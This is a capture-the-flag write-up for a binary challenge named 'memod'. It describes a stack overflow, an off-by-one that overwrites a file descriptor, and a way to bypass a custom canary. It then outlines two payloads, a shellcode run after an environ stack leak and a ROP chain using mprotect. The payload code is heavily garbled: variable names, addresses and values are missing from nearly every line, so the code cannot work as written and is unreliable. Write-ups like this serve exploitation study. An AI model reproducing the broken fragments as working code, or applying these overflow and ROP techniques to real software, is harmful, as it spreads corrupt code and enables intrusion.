memod
Table of Contents
0x00. Introduction
)
Goal
int __cdecl
A 4-byte random value is read from /dev/urandom to the global variable canary_backup, which is stored in the local variable canary and compared at the end. If the value has changed, the process will be terminated, so this must be bypassed.
0x01. Vulnerability
char s; // [esp+10h] [ebp-128h] BYREF
;
The first thing I noticed was a BOF occurs in variable s, which is stored in ebp-0x128. But the canary still needs to be bypassed as mentioned.
char file; // [esp+110h] [ebp-28h] BYREF
int fd; // [esp+130h] [ebp-8h]
for
The next thing I noticed was the condition of the for loop. Since the file array is 32 bytes and the condition is i <= 32, in the last loop, file[32] points to the lowest byte of fd.
0x02. Exploit
The problem that arise when fd is overwritten by exploiting the above vulnerailities are as follows.
fd = ;
;
canary = canary_backup;
The fd that was holding file descriptor opened by open() is changed to a strange value. There could be 2 options. One is to overwrite fd with 0 and input stdin; and the other is to overwrite fd with a strange value so that no value will be written to canary_backup.
Therefore, if I cover fd with a strange value and put 0x00000000 in the local variable canary, I can pass mcmcmp().
)
Now I tried to execute shell via shellcode, since the NX bit was off. But there was no point to leak stack address… I found the stack leak technique using the environ variable in libc, so I used this one for the exploit.
Of course, using ROP is another solution, so I also wrote payload using mprotect().
0x03. Payload
Payload Using environ
= True
=
=
=
= f
=
=
=
=
=
# leak libc
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pop ret gadget)
+= # argument #1
+= # ret #3
=
= -
= +
# leak stack
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pop ret gadget)
+= # argument #1
+= # ret #3
=
=
# execute shellcode
= # shellcode
+= b * # dummy
+= b # canary
+= b # sfp
+= # ret #1 (&shellcode)
Payload Using mprotect
= True
=
=
=
= f
=
=
=
=
=
# leak libc
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pr gadget)
+= # argument #1
+= # ret #3
=
= -
= +
= +
# add permission using mprotect
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pppr gadget)
+= # argument #1
+= # argument #2
+= # argument #3
+= # ret #3
+= # ret #4
+= # argument #1
+= # argument #2
+= # argument #3
# send shellcode
=